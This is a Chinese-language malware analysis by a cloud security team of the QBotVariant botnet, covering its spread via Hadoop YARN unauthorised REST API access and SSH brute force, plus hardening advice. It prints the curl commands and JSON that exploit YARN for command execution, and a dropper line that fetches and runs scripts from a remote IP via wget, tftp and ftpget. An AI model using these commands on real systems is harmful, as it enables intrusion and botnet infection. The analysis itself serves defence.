因为看见,所以发现:QBotVariant谢绝落幕

2018-11-14 6,705

互联网给人带来便捷的同时,其公开大量的资源也同样给恶意利用者带了便捷,越来越多公开的恶意程序源码降低了对外攻击、入侵的难度,使得安全问题愈加严重。

阿里云安全团队从今年5月份监测到一BOT家族,其样本改写自互联网公开渠道源码,在互联网上广泛传播,造成了极大的危害,云安全团队对该类样本做了分析、聚类、溯源,在此我们将该类样本命名为QBotVariant。

QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能,一旦被入侵便变成肉鸡,其主要传播方式通过Hadoop Yarn资源管理系统REST API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统,不仅服务器受到危害,如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到该类样本,但是他发现的IP、样本等信息只是该类家族的其中一个样本,而我们从监测到30多个下载服务器可以看出,QBotVariant多变的IP和二进制样本变种,使其难以发现和跟踪。

在云平台上,我们监测到的QBotVariant活跃度如下,峰值的时候可以达到上千个,活跃度一直未减。

以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。

入侵、传播方式

QBotVariant家族传播的方式有两种,一是利用Hadoop Yarn资源管理系统REST API未授权访问漏洞进行入侵,二是通过硬编码的弱密码进行SSH暴力破解。

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意代码,最终完全控制服务器。

其问题来源于对外开启了以下作用的端口

yarn.resourcemanager.webapp.address,默认端口8088

yarn.resourcemanager.webapp.https.address,默认端口8090

通过对新申请application,如下指令

curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'


再执行如下指令即可完成入侵

curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json文件如下
{
    "am-container-spec":{
        "commands":{
            "command":"执行的命令书写在这里"
        }
    },
    "application-id":"application_xxxx_xxxxx",
    "application-name":"test",
    "application-type":"YARN"
}


脚本分析

我们通过溯源找到了QBotVariant比较原始版本的脚本,在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行,从远程下载服务器下载脚本并执行

bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; 
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh; 
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; 
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

以下是阿里云安全截获的一个经过改写的下载脚本,从脚本可以看出作者为了能够很好的对IOT设备支持,一方面编译了不同版本的程序,通过ntpd、sshd、openssh等进行伪装;另一方面每个命令行都加入了对busybox的支持,这些使得该类脚本很好的支持了IOT设备,为QBotVaraint的传播提供了更加便捷的途径。

在阿里云捕获的源码中有用于编译多个版本的脚本

QBotVariant支持版本类型及其对应二进制名称:

样本分析

阿里云截获的多批次样本都比较相似,都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪,我们随机对比两个捕获的样本,如图右边的样本对getRandomPublicIP函数进行了裁剪,该样本只实现了QBot的少许功能,其文件更小、功能更加单一。

而绝大部分样本都实现了基本功能,其传播性、危害性等性质并未改变,部分函数如图所示


指令分析

我们对远控指令进行了分析,其功能如下图所示

值得注意是StartTheLelz函数,该函数主要用于对随机生成的IP地址进行爆破,如图通过getRandomPublicIP函数得到随机的IP,将硬编码的用户名和密码存储在结构体中,然后进行连接,其最大爆破次数通过max变量进行控制,max和文件描述表的项数有关但最大不超过4096。

通过数据区可以看见作者集成了几种常见的用户名和密码用于爆破

如果最终爆破成功,则会在被爆破的主机中执行如下脚本,从而感染主机,再继续向外传播

除了集成常见的对外DDoS攻击方法,QBotVariant还可以进行对外发送垃圾数据,通过sendJUNK或sendUDP即可完成该动作,如图用于生成随机字符串的makeRandomStr函数,通过发送大量垃圾包同样可以造成网络带宽阻塞。

而QBotVariant为了最大化入侵价值,同样提供了远程shell命令执行功能,其命令以"SH"开头,通过fdgets、sockprintf将命令执行后的结果返回到远控端,实现如下


样本溯源/同源性分析

我们在对样本分析的过程中发现一个有趣的现象,样本为了逃避检测,有多种不同的指令,我们选取了几种QBotVariant的上线方式。

第一种,信息较简单,返回大小端、CPU架构、主机用途等信息。

第二种,信息比较全面,带有操作系统、CPU架构、主机用途、端口、主机IP等信息。

第三种,信息最为简单,只返回架构信息。

第四种,返回大小端、架构信息。

第五种,信息比较全面,架构信息、大小端、主机IP、主机用途等信息。

第六种,返回主机IP、类型、版本信息等。

第七种,返回架构、主机IP等信息。

我们在对样本进行溯源发现,在pastebin上存在大量该类样本的源码、二进制文件等,其存在时间都在数月之久,作者目录下还包括其他类型IOT蠕虫,同时发现多个作者进行了QBot的改写,如图是其中一位作者的pastebin和github

QBot在国内似乎大家认知不多,但是由于源码简单、客户端小、支持多种架构,从09年活跃至今一直未间断过,常被应用于远控、DDoS等客户端,在其截获的IP中,绝大部分位于北美和欧洲各地,但是云平台检测到来自国内IP的攻击源,国内安全人员应该引起重视。



安全加固

  • 云防火墙
    开启云防火墙IPS拦截模式和虚拟补丁功能,云防火墙已经支持对该类漏洞的防御和防止暴力破解功能,用户即使不及时修复也依然能够进行防御拦截。

  • 网络访问控制
    使用"ECS/VPC安全组"对"受影响服务端口"访问源IP进行控制,如果本身Hadoop环境仅对内网提供服务,请不要将Hadoop服务端口发布到互联网。

  • 更新升级
    若使用自建的Hadoop,根据实际情况及时更新补丁,Hadoop在2.X以上版本提供了安全认证功能,加入了Kerberos认证机制,建议启用Kerberos认证功能或者您可以选择使用云上的MaxCompute(8年以上"零"安全漏洞)或云上的E-MAPREDUCE服务。


    安全建议

    云防火墙产品已支持防御针对此漏洞的攻击,建议用户可以购买云防火墙,开启检测。

    通过安全管家服务,在阿里云安全专家的指导下进行安全加固及优化工作,避免系统受到漏洞影响。


    总结

    QBotVariant通过Hadoop Yarn资源管理系统REST API未授权访问漏洞、弱密码口令爆破等方式进行入侵,一旦感染此类蠕虫,不仅会占用主机计算资源消耗带宽流量,成为攻击其他主机的肉鸡,还可能造成数据泄露,数据丢失等后果。

    阿里云安全提醒广大互联网用户,注意第三方应用的配置,防止出现此类未授权漏洞,同时加强用户名和密码的安全意识,切实保护自身资产安全。


    IOC

    部分MD5-文件名

    由于篇幅限制,无法列出更多。请关注阿里云安全微信公众号了解更多

    部分IP

    由于篇幅限制,无法列出更多。请关注阿里云安全微信公众号了解更多

    部分URL及出现时间

    由于篇幅限制,无法列出更多。请关注阿里云安全微信公众号了解更多

    由于篇幅限制,无法列出更多。请关注阿里云安全微信公众号了解更多

    参考链接

    • https://help.aliyun.com/knowledge_detail/71609.html

    • https://blog.radware.com/security/2018/10/new-demonbot-discovered/


    本文作者:阿里云安全

    本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/81213.html

    Tags:
    评论  (0)
    快来写下你的想法吧!

    阿里云安全

    文章数:13 积分: 53

    安全问答社区

    安全问答社区

    脉搏官方公众号

    脉搏公众号